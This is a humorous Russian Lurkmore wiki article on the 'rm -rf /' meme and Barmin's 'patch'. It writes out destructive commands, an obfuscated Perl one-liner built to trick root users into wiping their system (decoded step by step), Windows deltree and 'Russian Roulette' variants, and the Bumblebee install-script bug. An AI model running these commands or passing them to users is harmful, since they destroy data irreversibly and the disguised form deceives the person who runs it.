rm -rf
Материал из Lurkmore
Обычно употребляется в виде «rm -rf /*» (почему — см. ниже)
Содержание |
[править] Значение
- Сама команда rm — удалить (remove) (файл(ы) и/или каталог(и)).
- Ключ -r — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».
- Ключ -f — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным маздаевским назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение (и то, только потому, что почти всегда по умолчанию в .bashrc прописано alias rm='rm -i'). Некоторые побочные эффекты опции описаны в мане.
- Традиции Unix позволяют в большинстве программ объединять ключи, то бишь «-rf» эквивалентно «-r -f».
- Фактически ключ «-rf» по действию аналогичен фразе «Всё и сразу!».
Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идет о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру выстрелить себе в ногу: rm -rf / не работают. Хотя всё спокойно удаляется при использовании ключа «--no-preserve-root». Кагбэ так: «rm -rf --no-preserve-root /» Kekeke. Есть и другой вариант: rm -rf /*
FreeBSD понимает эту команду в несколько изменённом виде: rm -fr /, а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.
[править] Использование
Использование команды двояко:
- В качестве травли линукс-нубов; [1]
- В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Тем, кто не понял, расскажет Крыса-кун: Порция echo "test... test... test..."
на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли, с заданным в кавычках текстом, в данном случае на следующей строчке выведется текст "test... test... test..."
$ echo "test... test... test..." test... test... test... $
А вот что происходит в Perl'овом коде - совсем не очевидно из-за того что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ; s;;$_;see
Первая конструкция анализирует переменную $? - код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая "ветка" - s;;=]=>%-{<-|}<&|`{;
. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{
(напоминаю: первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое "аккумулятора" по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой - один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид system"rm -rf /"
.
Третья же команда дважды (как инструктирует флаг ee
) "вычисляет" содержимое аккумулятора - вышеуказанную деструктивную команду - и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат сей замены уже не интересен.
Еще подробнее
Под Виндой-95-98 данный патч был все-таки портирован и принял вид
deltree /y e: d: c:
Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался "универсальный ключ реестра для избавления от шароварности программ", который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке если юзер и догадывался о причине странного жужжания винта - спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).
[править] rm -rf /usr и Bumblebee
Недавний пример случайного использования мема случился летом 2011 года в проекте Bumblebee, представляющем собой костыль для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку
rm -rf /usr /lib/nvidia-current/xorg/xorg
Эта строка, как нетрудно заметить, удаляет папку /usr, в которой в современных линуксах содержатся чуть менее чем все библиотеки, бинарники, и всё остальное. Баг был быстро пойман и исправлен, что не помешало багтрекеру проека на github стать на несколько дней филиалом форчана, с макросами, пони и прочим.
[править] Патч Бармина
В околофидошных кругах rm -rf часто называют патчем Бармина — в честь Владимира Бармина, UNIX-админа. Последний, в релкомовской группе новостей, на вопросы вида «как починить <...> в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от рута».
На основе данного патча была разработана комбинация, получившая название Русской Рулетки.
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"
Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.
Версия Русской Рулетки под Windows:
set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)
[править] Пруфлинки
- Пост про rm -rf /, 23 февраля 1996
- Бармин о SCO, 3 октября 1996
- Копия письма выше и упоминание патча
- «Универсальное решение — rm», 16 октября 1996
- А. Лисовский подробно рассказывает о назначении патча, 02 февраля 1996
- Настоящий Владимир Бармин и его патч для шлимыла, 06 августа 1998
- Порт патча под винду? конец 1997 года
- Типичное использование, 2007 год
- Просьба о помощи Perl-программисту на LOR'е
[править] Ссылки
[править] См. также
[ + ] Rm -rf — лучше всех! Я гарантирую это!
|
|||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|